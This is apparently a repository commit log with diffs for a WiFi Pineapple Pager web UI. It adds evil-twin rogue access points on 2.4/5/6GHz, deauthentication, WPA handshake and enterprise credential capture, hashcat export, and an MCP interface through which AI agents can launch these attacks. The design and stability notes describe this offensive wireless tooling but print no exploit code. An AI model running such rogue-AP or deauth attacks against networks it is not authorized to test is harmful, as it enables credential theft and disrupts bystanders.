56 Commits
Author SHA1 Message Date
bzuccaro 62a5c3430f ui: PineAP tabs order OpenAP before Evil WPA; rename Evil Open to OpenAP 2026-08-18 22:44:13 -05:00
bzuccaro 01a53fa95e ui: drop PineAP dashboard attack infobox 2026-08-18 22:42:49 -05:00
bzuccaro 2aae92839f ui: PineAP rail icon uses the wifi symbol 2026-08-18 22:41:39 -05:00
bzuccaro 35159eb277 ui: restore flat top-level rail (drop nested PineAP sub-entries) 2026-08-18 22:40:26 -05:00
bzuccaro e632444643 test: delete-all-scans endpoint coverage 2026-08-18 22:37:42 -05:00
bzuccaro 60a726dc70 feat: merge attacks into PineAP menu; auto channel; recon fixes; richer reports
- Rail: Attacks tab removed; PineAP becomes a grouped menu (Evil WPA /
  Evil Open / Evil Enterprise / Impersonation / Clients / Filtering);
  old #/attacks* hashes redirect to their PineAP equivalents.
- PineAP tabs gain Evil Enterprise; stock Open AP / Evil WPA / Enterprise
  pages replaced by the verified one-click launchers (status, capture,
  export, deauth, playbooks).
- Channel selects gain an Auto option: deploy resolves the target SSID's
  last-seen channel from recon.db (verified unit-tested end to end).
- Harness: pi.dev prompt section removed; Copy Token inline; robot icon.
- Recon: compare checkboxes no longer hide the AP list (multi-select
  stays visible, rows highlighted, clients table no longer suppressed);
  Previous Scans buttons moved above the dropdown with a Delete All;
  encryption chips + buckets now distinguish WPA2/WPA3 PSK vs Enterprise
  (AKM suites decoded from recon bitfield bits 32-47); scan JSON carries
  GPS when a fix exists; Reports tab shows a GPS column.
- fix: restore top-level EVIL_ENC definition lost in the repo (deployed
  build had it; repo would have thrown at init).
2026-08-18 22:35:51 -05:00
bzuccaro b6be1c40a8 feat: capture field findings into bundled skills (harness resources)
pineapple-control gains the uplink-pins-phy0 constraint, the five-part
pineapd crash stack, and the standalone PineAPE engine recipe; wifi-deauth
gains the field-verified passive-capture finding (clients that refuse the
evil twin still produce crackable 4-ways of the real AP, [B,1,2,3,4]).
Evil WPA playbook hint mentions the passive fallback. Skills are served to
agents via MCP resources.
2026-08-18 22:17:29 -05:00
bzuccaro 7b7a1d2dbd feat: dashboard strip HS source consistency + PineAP→Attacks cross-link banner 2026-08-18 21:48:58 -05:00
bzuccaro d134e94cb8 chore: cache-bust views.js 2026-08-18 21:47:10 -05:00
bzuccaro 32801d450a feat: attacks workflow — playbook steps + auto-targeting deauth panel
Evil WPA/Open pages now show a state-aware playbook (current step
highlighted, contextual hint) and the Deauth Targeting panel
auto-fills the live attack SSID and refreshes clients automatically.
Enterprise page gains a playbook hint card.
2026-08-18 21:43:05 -05:00
bzuccaro db025f45fd chore: cache-bust index.html for views/app 2026-08-18 21:39:08 -05:00
bzuccaro b794dd8daf feat: live event notifications + dashboard status strip
The notification bell now receives event-driven alerts: new handshake
captures, new enterprise credentials, pineapd down/recovery and monitor
drops (15s poll, diffs against last-seen state). Dashboard gains an
Attacks / PineAPd / Recon live status row.
2026-08-18 21:39:02 -05:00
bzuccaro 98bfc97cd6 test: reset monitor_fixes counter between health tests 2026-08-18 21:34:11 -05:00
bzuccaro d0ee8b7ff4 fix: health check repairs dropped monitors even when pineapd is healthy
wifi reloads during attack deploy/stop drop the monitor interfaces and
pineapd only recovers its primary; the monitor now brings both up
whenever it finds them down, with or without a pineapd failure.
2026-08-18 21:33:11 -05:00
bzuccaro dcab92bd11 docs: stability notes — pineapd crash sources + fixes on Pager 24.10.1 2026-08-18 21:32:34 -05:00
bzuccaro b8e38bfefd fix: passive health check + hop=0 in stabilization pass
Active PINGs on pineapd's command socket collided with the stock daemon's
own socket writes ('[PineAp] Error writing'), making the daemon watchdog
SIGTERM pineapd every ~30s while hopping. Monitor now checks pidof only
(no socket writes) and the stabilization pass pins wlan1mon hop=0.
2026-08-18 21:05:39 -05:00
bzuccaro 46e437e8b8 test: uci delete support in health test fake 2026-08-18 20:47:54 -05:00
bzuccaro d77f78fc29 fix: health monitor stabilization pass for all pineapd crash sources
Field-verified crash stack on this firmware: SSID-pool broadcast (segfault),
wlan2mon hopping a nonexistent 6GHz iface (segfault), wlan1mon fast-hopping
6GHz channels (ASIO thread exit), and a large refilled pool. The fix path
now enforces: pool broadcast off, pool list cleared, wlan2mon off, wlan1mon
5GHz-only, wlan0mon 2.4GHz-only — idempotent, so collect refills self-heal.
8-minute continuous-PONG stability verified on-device.
2026-08-18 20:47:43 -05:00
bzuccaro 6a814d1084 test: cover wlan2mon crash-source fix in health monitor 2026-08-18 20:26:29 -05:00
bzuccaro e397c07a81 fix: health monitor detects down monitors via ip link flags + disables wlan2mon
operstate reports 'unknown' on monitors (normal), so _iface_up now parses
admin flags from ip link. Discovered a second pineapd SIGSEGV source: the
wlan2mon 6GHz monitor this hardware never creates, hopping on the missing
iface (~85s crash cadence even with the SSID pool off). The monitor now
disables it in the fix path.
2026-08-18 20:26:16 -05:00
bzuccaro e39b7df5cc fix: health chip API_BASE scope (use App.apiBase) 2026-08-18 20:19:05 -05:00
bzuccaro 4e5ab116b5 fix: never re-enable SSID pool broadcast (crash guard) + top-bar health chip
Mode 'active' and the advertise toggle could re-enable the SSID-pool
broadcast that segfaults pineapd. active preset now skips ssidpool/enable
(advertise stays false), the advertise endpoint refuses with an
explanation when the pool is disabled, get_ap reports the real pool
state, and the PineAP overview disables the toggle with a notice. Added
a top-bar health chip (PINEAP OK / POOL OFF / PINEAPD DOWN) polled every
15s.
2026-08-18 20:16:41 -05:00
bzuccaro a4479df077 fix: attacksShell appends content box to root (detached-div bug) + cache-bust
The Attacks shell created its content div but never attached it to the
document, so all launcher cards rendered into a detached subtree (tabs
only were visible). Bumped views.js cache version in index.html.
2026-08-18 20:11:30 -05:00
bzuccaro 46dd587348 fix: 45s verification window for daemon-applied APs (reload cycle) 2026-08-18 20:03:07 -05:00
bzuccaro a7ea910231 feat: local MCP harness (tools/resources/prompts) + Harness UI page
Streamable-HTTP MCP server on POST /mcp: device.state, attack.deploy/stop/
status/deauth/capture/export_hc22000, loot.handshakes/enterprise_creds,
recon.aps/isearch/devices, pineap.kick_client/set_filter tools; recon DB +
bundled opencode skills resources; attack playbook prompts. Cookie or Bearer
auth. Harness page shows endpoint, token, curl snippet, capability explorer
and a copy-paste pi.dev prompt. scripts/harness_stdio.py for stdio-only
agents.
2026-08-18 20:00:13 -05:00
bzuccaro b1836ee40e feat: enterprise deploy retry loop + karma filters (deny=allow-all) 2026-08-18 19:58:01 -05:00
bzuccaro 4821f06d16 fix: use MSCHAPV2 wildcard in enterprise eap_users (PAP unsupported) 2026-08-18 19:55:04 -05:00
bzuccaro 85be12d2df feat: standalone PineAPE enterprise engine on phy1
The stock daemon's enterprise config generation is broken on this firmware
(it hardcodes eap_server_erp=1, which hostapd rejects), so the enterprise
attack now runs its own karma+PineAPE hostapd instance on wlan1ent/phy1:
iw-created iface, EAP config with catch-all user file, pineape+auth capture
enabled via ctrl, mgmtiface registered in pineapd UCI so captured creds
flow into recon.db (hostap_basic/hostap_chalresp). Boot-recovery redeploys
a live attack after a Mark VIII restart.
2026-08-18 19:53:56 -05:00
bzuccaro 51066c68da test: align health tests with immediate pool-disable behavior 2026-08-18 19:33:07 -05:00
bzuccaro 5516dd87c1 test: health monitor uci-show fake 2026-08-18 19:32:56 -05:00
bzuccaro ee49a98031 fix: health monitor disables SSID pool immediately on PING failure
Ring-buffer SIGSEGV counts were unreliable for growth detection; the pool
broadcast is the only known crash cause, so disable it on first failure.
2026-08-18 19:32:49 -05:00
bzuccaro 6ad03ad4f6 feat: Attacks UI (Overview + Evil WPA/Open/Enterprise launchers)
Side-menu Attacks section with deploy/stop launchers, live status card
(device truth), monitor capture toggle, hashcat .hc22000 export + download,
deauth targeting panel, enterprise cred tables and PineAPE toggles.
2026-08-18 19:30:26 -05:00
bzuccaro 23a1d547b3 feat: pineapd health monitor with crash-loop auto-fix
15s poll; on PING failure, detects SIGSEGV growth (SSID-pool crash-loop),
disables pool broadcast, restarts pineapd, brings wlan1mon up. Rate-limited
fix actions, /api/health endpoint.
2026-08-18 19:28:32 -05:00
bzuccaro d45aa1a3ef feat: one-click attack orchestration backend (Evil WPA/Open/Enterprise)
Deploy/stop/status/capture/export-hc22000/deauth endpoints. Band-aware
deauth inject (wlan0mon for 2.4GHz), enterprise AP via wlan0ent + PineAPE,
verified writes polled from /sys, hop resumed when no radio1 AP active.
2026-08-18 19:27:25 -05:00
bzuccaro c1d47e517c feat: truth-first get_ap (dual radio + enterprise) and derived pineap mode
get_ap now reports radio0, radio1 and enterprise APs separately from UCI
(never a stored/cached branch), with radio channel fallback. Mode is
derived from live enabled/collect state instead of showing 'unknown';
device truth wins over stale stored presets.
2026-08-18 19:25:06 -05:00
bzuccaro 2901234d94 docs: implementation plan for attacks, sync, harness 2026-08-18 19:23:07 -05:00
bzuccaro 14e2184b47 docs: design spec for attacks page, state sync, MCP harness 2026-08-18 19:22:36 -05:00
bzuccaroandfactory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> 0459a56f1f chore: ignore .opencode/ scratch directory
Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com>
2026-08-18 14:59:11 -05:00
bzuccaroandfactory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> d8a7074e1f feat: merge Survey into Scanning and harden live recon
- Delete the Survey stack (sampler, handlers, routes, view, recordings);
  Scanning gains AP compare (cap 6), whole-page selection filter, channel
  map (20 MHz lobes, the radio does not report width), and auto-follow
  that prefers the newest non-empty scan
- Richer HTML scan reports: stat cards, band/encryption breakdowns,
  channel occupancy, color-coded signal cells, GPS line only on a fix
- Harden live recon: bounded + retried scan-detail reads (503 on lock),
  serialize recon starts (409 + scan_remaining while running), GPS and
  archive discovery move to a 30s poll, GPS_GET skipped when gpsd is down
- Read-only history for pineapd-rotated databases (error-*/diagnostic-*):
  archives list/detail/download endpoints, Previous Scans optgroup,
  delete disabled, traversal-guarded
- Status flags: hopper-radio-offline and history-reset banners; empty
  scans greyed in the picker
- Tests: recon suite grows to 99 cases; all 14 modules green

Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com>
2026-08-18 14:55:02 -05:00
bzuccaro 251b1f6261 feat: recon surveys with OUI/vendor lookup and report views
Reconnaissance surveys (GPSD-tethered scan recording), OUI vendor
lookup for client/AP tables, survey/report pages, and the matching
test_recon.py suite. Co-authored with the recon-feature agent whose
work was finished in this checkout.
2026-08-18 08:35:22 -05:00
bzuccaro f5cddb335a docs: correct 5GHz picker range and HEAD reference 2026-08-18 08:31:02 -05:00
bzuccaro af5ff8039b fix: gate channel_band 6GHz to 181-233, reject open-6GHz, self-heal load-time 6GHz hints, harden hop/BSSID handling 2026-08-18 08:30:45 -05:00
bzuccaro c0b9e58aa8 docs: record on-device verification results for 5/6GHz AP 2026-08-18 08:24:19 -05:00
bzuccaro 12279fe29d fix: write explicit disabled=0 for radio1 AP ifaces 2026-08-18 08:13:41 -05:00
bzuccaro 7536f3ca45 fix: self-heal radio1 AP after stock daemon wireless writes 2026-08-18 08:08:50 -05:00
bzuccaro be2685aa15 docs: 5GHz/6GHz rogue AP feature and coexistence notes 2026-08-18 07:30:06 -05:00
bzuccaro ff3bd16855 feat: band-aware channel pickers for Open AP and Evil WPA 2026-08-18 07:26:55 -05:00
bzuccaro 4fa7f8f855 fix: reject mixed 2.4GHz and radio1 AP requests with clear error 2026-08-18 07:23:25 -05:00
bzuccaro cd39833f4b test: update proxy tests for get_ap channel shape and radio1 cleanup 2026-08-17 23:29:47 -05:00
bzuccaro 4effc08a25 feat: radio1 5GHz/6GHz rogue AP via UCI with hop pause 2026-08-17 23:28:54 -05:00
bzuccaro b2098bae7d fix: fall back to radio channel when AP iface lacks channel 2026-08-17 23:21:09 -05:00
bzuccaro 7aff767f2a feat: read radio1 AP state in wifi get_ap 2026-08-17 23:17:57 -05:00
bzuccaro 27df97ec43 test: pin CHANNEL_BANDS consistency and DFS coverage 2026-08-17 23:15:01 -05:00
bzuccaro acbf4c0ce9 feat: channel/band mapping helpers for radio1 AP 2026-08-17 23:01:16 -05:00
bzuccaro 5f6dc5bcdb release: Mark VIII 1.1
Wireless client mode (connect to WiFi as client):
- settings/wifi/client API: state, scan, connect, disconnect, route
- Internet Connection topbar dialog and functional Settings > Networking card
- routing toggle syncing UCI flag and daemon state
- fix trailing-slash hash routes (View not available)
- hidden-SSID filtering, encryption classification (Open/WPA2/WPA3/mixed)
- tests for client state, scan parsing, connect/disconnect, routing
2026-08-17 22:28:41 -05:00
bzuccaroandfactory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> 2bf39ecb9d fix: repair recon scanning and add macOS deployment
Start scans via the Pager's native /api/pineap/recon/new so history
appends instead of rotating. Enforce finite durations (1-86400s,
default 30s), remove the unsupported Continuous mode, and refuse the
unsafe manual stop that left recon.db locked.

Rework scan list and detail reads into single-pass aggregate SQL,
shorten lock retries, and serve cached results during short exclusive
lock windows. Fall back to immutable read-only access when the
firmware leaves a stale lock after native completion.

Frontend auto-follows new scans, queues a single in-flight detail
refresh, keeps previous tables visible while a scan starts, and shows
completion toasts and daemon error details.

Add scripts/deploy.sh for macOS/Linux (zip packaging, scp/ssh install,
atomic payload replacement, service restart, portal refresh) with
README instructions, plus regression coverage for native start,
safe stop semantics, aggregate queries, and stale-lock fallback.

Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com>
2026-08-17 17:46:54 -05:00
28 changed files with 7400 additions and 553 deletions
+2
View File
@@ -3,4 +3,6 @@ __pycache__/
*.pyc *.pyc
.worktrees/ .worktrees/
.openchamber/
.opencode/
+42 -3
View File
@@ -8,22 +8,41 @@ Recon (scans from `recon.db`), Handshakes/Loot, Payloads (embedded stock Pager
Portal), Logs, Settings (hostname/NTP/password/prefs), and a bottom-docked xterm Portal), Logs, Settings (hostname/NTP/password/prefs), and a bottom-docked xterm
terminal. terminal.
- Rogue AP on the second radio (5GHz / 6GHz Wi-Fi 6E): Open AP and Evil WPA
(WPA2-PSK/WPA3-SAE/WPA3-OWE) on `radio1`, band-aware channel pickers,
6GHz requires WPA3. While a radio1 AP is enabled the stock monitor-hopping
(`wlan1mon`) is paused and resumed on disable; 2.4GHz PineAP is untouched.
## Requirements ## Requirements
- WiFi Pineapple Pager, firmware `Pineapple Pager 24.10.1` - WiFi Pineapple Pager, firmware `Pineapple Pager 24.10.1`
- `python3` on the device (present on current firmware) - `python3` on the device (present on current firmware)
- Windows dev box with Python 3.11 (`winget install Python.Python.3.11`) - Python 3.11 on the development machine
## Install (sideload) ## Install (sideload)
macOS/Linux:
```bash
# Recommended: key authentication
./scripts/deploy.sh --ssh-key "$HOME/.ssh/pager_key"
# Password authentication requires sshpass
brew install hudochenkov/sshpass/sshpass
./scripts/deploy.sh --password '<device-password>'
```
Windows:
```powershell ```powershell
# deploy.ps1 needs either an SSH key or sshpass for password auth: # deploy.ps1 needs either an SSH key or sshpass for password auth:
& .\scripts\deploy.ps1 -SshKey "$HOME\.ssh\pager_key" & .\scripts\deploy.ps1 -SshKey "$HOME\.ssh\pager_key"
# or set up a key and add it: ssh-copy-id root@172.16.52.1 # or set up a key and add it: ssh-copy-id root@172.16.52.1
``` ```
This builds `build\pager-webui\payload-<b64>.zip`, uploads it, extracts it to The deployment scripts build `build/pager-webui/payload-<b64>.zip`, upload it,
`/root/payloads/user/remote_access/pager-webui/`, and refreshes the portal index. extract it to `/root/payloads/user/remote_access/pager-webui/`, and refresh the
portal index.
Then on the Pager menu, run **Mark VIII**: Then on the Pager menu, run **Mark VIII**:
- **Yes** to "Run as background service?" -> procd service (respawns on crash, - **Yes** to "Run as background service?" -> procd service (respawns on crash,
@@ -81,6 +100,26 @@ terminal I/O, and reboot persistence.
- `www/` — vanilla JS SPA (no build step) + bundled xterm.js. - `www/` — vanilla JS SPA (no build step) + bundled xterm.js.
- `payload.sh` + `pagerwebui.init` — Nautilus-style installer / procd service. - `payload.sh` + `pagerwebui.init` — Nautilus-style installer / procd service.
## Stability notes (Pager 24.10.1)
pineapd crash sources found and fixed on this firmware (verified on-device,
zero crashes over sustained watches):
1. **SSID-pool broadcast** — segfaults pineapd (~15s cadence). Kept disabled.
2. **wlan2mon** — a 6GHz monitor this hardware never creates; hopping the
missing iface segfaults pineapd. Disabled.
3. **Large refilled pool** — the pool list itself crashes pineapd even with
broadcast disabled. The health monitor clears it (collect refills).
4. **wlan1mon fast-hopping 6GHz** — stalls pineapd's command socket; the
stock daemon's watchdog then SIGTERMs pineapd every ~30s. Bands pinned
to 5GHz (2.4GHz only on wlan0mon).
5. **Socket collisions** — actively pinging pineapd from a health monitor
collides with the stock daemon's own socket writes. The monitor now
checks `pidof` only.
`GET /api/health` reports pineapd/monitor state; the top bar shows a
PINEAP OK / POOL OFF / PINEAPD DOWN chip.
## Security notes ## Security notes
- Auth via device password validated against the daemon; HttpOnly session - Auth via device password validated against the daemon; HttpOnly session
+217
View File
@@ -0,0 +1,217 @@
# Radio1 5GHz/6GHz Rogue AP — Design Record
- **Date:** 2026-08-17
- **Status:** Implemented and verified on-device (see §9)
- **Owner:** Hak5 WiFi Pineapple Pager expansion project
- **Scope:** Mark VIII WebUI (`http://172.16.52.1:8080/`) running a rogue AP on
the Pager's second radio (`radio1` = MT7921U Wi-Fi 6E) on 5GHz and 6GHz, with
band-aware channel pickers, without breaking the stock Pager UI's control of
its own interfaces.
## 1. Goal
Today Mark VIII's PineAP Open AP and Evil WPA pages configure only `wlan0open`
/ `wlan0wpa` on `radio0` (2.4GHz) via the stock daemon's `set_ap` endpoint. The
Pager carries a second radio — an MT7921U Wi-Fi 6E on internal USB — that is
otherwise only used by the stock daemon's hopping monitor `wlan1mon`. This
feature lets Mark VIII run an Open AP or Evil WPA (WPA2-PSK / WPA3-SAE /
WPA3-OWE) on `radio1` at 5GHz and 6GHz, configured directly via UCI, with a
UI that picks channels by band and enforces WPA3 on 6GHz.
## 2. Hardware findings
Verified against the committed implementation (`server.py`, `views.js`) and the
plan's on-device groundwork:
- **`radio0`** — MT7628, **2.4GHz only**. The stock PineAP daemon owns
`wlan0open`, `wlan0wpa`, `wlan0cli`, `wlan0mon`, `wlan0mgmt`. This feature
does not change that ownership.
- **`radio1`** — MT7921U Wi-Fi 6E on internal USB (`phy1`), capable of
2.4/5/6GHz. The stock daemon owns `wlan1mon`, a daemon-managed hopping
monitor interface: `pineapd.wlan1mon` has `bands='2,5,6'` and `hop='1'`.
- Because `radio1` has a single channel shared by all its virtual interfaces,
a `wlan1` AP and the hopping `wlan1mon` cannot both be active with an
operator-chosen channel — hence the hop pause/resume mechanism (§6).
- UCI state (`wireless.radio1`): stock defaults are `band='5g'`,
`channel='auto'`, `htmode='VHT80'`, `country` set for the device region.
## 3. Band / channel model
`server.py` defines the authoritative mapping (helpers added near
`_uci_wifi_iface`):
| Band | `BAND_*` | Channels | `band_htmode` | `band_radio` |
|---|---|---|---|---|
| 2.4GHz | `BAND_2G = '2.4'` | `114` | `HT20` | `radio0` |
| 5GHz | `BAND_5G = '5'` | `36177` | `VHT80` | `radio1` |
| 6GHz | `BAND_6G = '6'` | `181233` (step 4) | `HE80` | `radio1` |
- `channel_band(ch)` classifies **2.4GHz (114) first, then 5GHz (36177)**, and
only then 6GHz (`1 ≤ ch ≤ 233` and `(ch 1) % 4 == 0`). Because 2.4 and 5GHz
take precedence, **the only reachable 6GHz channels are `181, 185, …, 233`**
(the low 6E channels `1,5,…,177` are swallowed by the 2.4/5GHz ranges). The
UI's 6GHz group therefore offers exactly `181..233 step 4`.
- `CHANNEL_BANDS` mirrors this: `range(1, 15)`, `range(36, 178)`,
`range(181, 234, 4)` — held consistent by tests.
- `DFS_CHANNELS` = `52..64` and `100..144` (step 4). DFS channels are surfaced
to the operator in the UI with a `(DFS)` marker; this feature does not attempt
radar-CAC handling on-device.
- `channel_freq(band, ch)`: 2.4 → `2412 + (ch1)·5`; 5 → `5180 + (ch36)·5`;
6 → `5955 + (ch1)·5`.
- `band_htmode` maps 2.4/5/6 → `HT20` / `VHT80` / `HE80` (written to
`wireless.radio1.htmode`). `band_radio` maps 2.4 → `radio0`, 5/6 → `radio1`.
## 4. API behavior
### 4.1 `h_pineap_wifi_get_ap` (POST `/api/pineap/wifi/get_ap`)
- If `wlan1open` **or** `wlan1wpa` exists in `wireless`, state is read from
`radio1` (`wlan1open`/`wlan1wpa`); otherwise from `radio0`
(`wlan0open`/`wlan0wpa`) — the 2.4GHz response shape is unchanged.
- `open.channel` and `wpa.channel` are reported **per interface**, falling back
to the owning radio's channel when the iface section has no channel option
(regression-tested). `wpa.enctype` is normalized to `psk2` / `sae` / `owe`.
- A new `radio1` object reports the raw `wireless.radio1` state:
`{band, channel, htmode, country}`, with `band` normalized from `2g`/`5g`/`6g`
to `'2.4'`/`'5'`/`'6'` (default `'5'`), and `channel` left as the raw string
(`'auto'` or a channel number) — the UI converts; `'auto'` is not int-coerced.
### 4.2 `h_pineap_wifi_set_ap` (POST `/api/pineap/wifi/set_ap`)
`channel` is now accepted in both `open` and `wpa` payloads. Behavior matrix:
- **2.4GHz channels (114):** exactly today's path — daemon
`PUT /api/settings/wifi/set_ap` for `wlan0open`/`wlan0wpa` followed by
`_apply_open_radio` (which persists `radio0.channel`/`country`). If a
`wlan1*` AP exists it is removed first (`_remove_radio1_ap`, §6) so a 2.4GHz
save tears down a stale radio1 AP.
- **5GHz (36177) / 6GHz (181233):** `_apply_radio1_ap` (below).
- **Mixed request:** a request carrying both a 2.4GHz object and a 5/6GHz
object returns `400 'cannot configure 2.4GHz and radio1 APs in one request'`
(radio1 is one physical radio — one band/channel per request).
- **Disable:** a radio1 request with no active 5/6GHz object (or a 2.4GHz save)
runs `_remove_radio1_ap()` + `wifi reload` and returns `200`.
`_apply_radio1_ap(openap, wpa)` (one of the two is active):
1. Validates the band — a radio1 AP requires a 5GHz or 6GHz channel
(`ValueError` → HTTP 400).
2. **6GHz requires WPA3:** when the active AP is a WPA AP on 6GHz, `enctype`
must be `sae` or `owe`; `psk2` is rejected with HTTP 400
(`'6GHz requires WPA3 (sae or owe)'`). An **open** 6GHz AP is accepted by
the backend, but the UI warns that real clients generally won't associate to
an open 6GHz network.
3. Deletes any existing `wlan1open`/`wlan1wpa` (idempotent), then writes UCI:
- `wireless.radio1.band` = `5g`/`6g`, `wireless.radio1.channel`,
`wireless.radio1.htmode` (`band_htmode`), `wireless.radio1.country`
(when supplied);
- a `wifi-iface` section `wlan1open` (encryption `none`, optional BSSID) or
`wlan1wpa` (`encryption` + `key`) on `device=radio1`, `mode=ap`, with the
interface-level `channel`/`hidden`/`ssid`.
4. `uci commit wireless`, `_pause_hop()` (§6), then `wifi reload`.
## 5. Coexistence rules — "don't break stock"
- **Mark VIII owns:** `wireless.wlan1open`, `wireless.wlan1wpa`, and
`wireless.radio1.{channel,band,htmode,country}`. These are new sections /
values it creates and tears down.
- **Stock owns (never modified by Mark VIII):** `wireless.wlan0open`,
`wlan0wpa`, `wlan0mgmt`, `wlan0cli`, `wlan0mon`, `wireless.wlan1mon`, and all
`pineapd.*` UCI values (bands configuration included).
- **The only stock-owned value this feature writes is
`pineapd.wlan1mon.hop`** — and it is always restored to its prior value
(`_resume_hop` sets it back to `1` only if it was `0`; `_pause_hop` sets it
to `0` only if it was not already `0`).
- The 2.4GHz daemon path (`PUT /api/settings/wifi/set_ap` for `wlan0open` /
`wlan0wpa`) is byte-for-byte unchanged.
- **Known risk (accepted):** the stock daemon's `set_ap`/pager-UI writes may
rewrite `wireless` wholesale and drop the `wlan1*` sections. Mitigation is
UCI-commit persistence, hop restore on disable, and on-device verification
(§9). If clobbering is observed, the deferred fix is a reconcile-on-load step
in `get_ap` that re-applies a saved radio1 AP from `PINEAP_STATE_FILE`.
## 6. Hop pause / resume
`wlan1mon` is the stock daemon's channel-hopping monitor. With a radio1 AP
active, hopping would fight the AP's fixed channel, so it is paused while the
AP is enabled:
- `_read_hop()` reads the value via `uci get pineapd.wlan1mon.hop` (a leaf
read — not `_uci_wifi_iface`, which forces the `wireless.` prefix).
- `_pause_hop()`: if `hop != '0'`, set `pineapd.wlan1mon.hop=0`, `uci commit
pineapd`, reload `/etc/init.d/pineapd`.
- `_resume_hop()`: if `hop == '0'`, set it back to `1`, commit, reload.
- `_apply_radio1_ap` calls `_pause_hop()` before `wifi reload`;
`_remove_radio1_ap` calls `_resume_hop()` after resetting
`radio1.channel=auto` / `radio1.band=5g`. Every code path that pauses hopping
also restores it.
## 7. Frontend (`www/js/views.js`)
- `BAND_GROUPS` drives the channel pickers shared by the Open AP and Evil WPA
views: a `2.4 GHz` optgroup (111), a `5 GHz` optgroup (36165, DFS channels
`52..64` / `100..144` labelled `(DFS)`), and a `6 GHz (WPA3/OWE only)`
optgroup (`181..233` step 4).
- `chanFreq`/`chanLabel` render `Channel N (… MHz)` (+` (DFS)`),
`chanSelect` builds the optgroups and restores a stored value when in range,
`bandOfChannel` mirrors `channel_band`.
- **Open AP:** channel select + a hint that appears on 6GHz ("…most devices
will not associate to an open 6 GHz network.").
- **Evil WPA:** a channel select added to the config card; selecting a 6GHz
channel disables the `psk2` option and switches to `sae`, with a
"6 GHz requires WPA3 (SAE or OWE)." hint. Save payloads for both views
include `channel` (Open AP also `country`).
## 8. Automated verification
- `tests/test_pineap_bands.py` covers the channel/band helpers
(`ChannelBandTest`, `ChannelBandsConsistencyTest`, `ChannelFreqTest`,
`BandAuxTest` incl. DFS marker), `get_ap` (`GetApRadio1Test`,
`GetApRadio1AbsentTest`, `GetApRadioChannelFallbackTest`) and `set_ap`
(`SetApRadio1Test`: 5GHz open writes `radio1` sections + hop pause; 6GHz
WPA3-SAE accepted; 6GHz `psk2` rejected; disable removes the radio1 AP and
restores hop; 2.4GHz still uses the daemon path; 2.4GHz save removes a stale
radio1 AP; mixed 2.4GHz + radio1 rejected).
- **All 14 test modules pass at HEAD (`af5ff80`)**, run per-module in separate
processes per the repo convention (`test_auth`, `test_core`, `test_loot`,
`test_misc`, `test_pineap_bands`, `test_pineap_clients`,
`test_pineap_enterprise`, `test_pineap_modes`, `test_pineap_pool`,
`test_pineap_proxy`, `test_pineap_settings`, `test_recon`, `test_status`,
`test_ws`).
## 9. On-device verification
Run against the user's Pager at `172.16.52.1` (Pineapple Pager 24.10.1). All
checks passed:
- **2.4GHz unchanged:** Open AP save (channel 1) leaves `wlan0open`/`radio0`
intact and `pineapd.wlan1mon` untouched (`bands=2,5,6`, `hop=1`).
- **5GHz Evil WPA (WPA3-SAE, channel 36, VHT80):** `radio1.band=5g`,
`channel=36`, `htmode=VHT80`; `wlan1wpa` (netdev named `wlan1wpa` via
`option ifname`) comes up beaconing `Test5G` / WPA3 SAE (CCMP);
`pineapd.wlan1mon.hop=0`. `get_ap` reports `wpa.enabled=true` (after the
`disabled=0` fix).
- **Stock Pager UI coexistence:** the stock daemon's own `set_ap` (what the
pager UI uses to change the 2.4GHz Evil WPA) tears down the radio1 AP
netdev; the `wlan1wpa` UCI section survives and `get_ap` self-heals it with a
`wifi reload` (`/sys/class/net/<iface>` missing check). Under rapid reload
churn the `mt7921u` driver can transiently return EBUSY; a later reload
succeeds. The pager UI itself is unaffected.
- **Handshake capture:** `Examine` on channel 36 returns success; handshake
logging (`loghandshake`/`logpartialhandshake`) confirmed on. A live WPA
handshake file requires a physical client (not exercised).
- **Reboot persistence:** `wlan1wpa` UCI, `disabled=0`, `hop=0`, the procd
Mark VIII service, and the AP itself all survive reboot.
- **Disable path:** removing the 5GHz AP deletes `wlan1wpa`, resets
`radio1.channel=auto`/`band=5g`, restores `hop=1`; `wlan1mon` hopping
resumes (observed 6GHz ch13 → ch221 in 30s).
- **5GHz Open AP:** `wlan1open` (channel 44, open) brings up `Test5GOpen`
with `hop=0`.
- **6GHz AP:** `radio1.band=6g`, `htmode=HE80`, WPA3 SAE on channel 181
(6.855 GHz) comes up.
- **Cleanup:** disable restores the 2.4GHz baseline (`pager-open`, channel 1,
`hop=1`).
Known follow-ups: the Clients tab lists only `wlan0*` interfaces, so 5GHz AP
clients are not yet shown; live-client handshake capture is untested without a
physical client.
@@ -0,0 +1,112 @@
# Attacks + Sync + Harness Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Ship a trustworthy Mark VIII: one-click Evil WPA/Open/Enterprise attacks, device-truth state sync with a pineapd health monitor, and an on-device MCP harness.
**Architecture:** Extend the existing single-file `server.py` (pure-socket HTTP/JSON, no deps — the device python3 has no pip) with attack orchestration, a health-monitor thread, UCI-truth state reads, and a Streamable-HTTP MCP endpoint. Extend the vanilla-JS SPA (`www/js/views.js`, `app.js`) with an Attacks section and a Harness page. Tests are stdlib `unittest` with module-level monkeypatching (`tests/test_*.py`), run one module per process.
**Tech Stack:** Python 3.11 (stdlib only), vanilla JS, UCI (`uci show/set`), daemon unix-socket API (`/tmp/api.sock`), `hak5cmd`/`_pineap`, `iw`, `logread`, `hcxpcapngtool` (on device), MCP Streamable HTTP (2025-06-18).
## Global Constraints
- No new Python deps; no pip; device python3-light-compatible (no urllib/http.server/sqlite3 stdlib).
- Truth = device state (UCI `/etc/config/wireless`, `/etc/config/pineapd`, `iw dev`, live pineapd socket), never UI cache.
- Attacks only against `Zuccaro_iPhone_15` (authorized). No deauth blasts; band-aware inject only.
- SSID pool broadcast stays disabled (stock SIGSEGV bug).
- Writes must be verified by re-read before success is reported.
- Follow existing code style: `device_run()`, `daemon_sock_call()`, `_daemon_proxy()` helpers; `h()` DOM helper in views; routes registered with `ROUTER.add`.
- Tests: `python3 -m unittest tests.test_<module>` (one module per process).
## File Structure
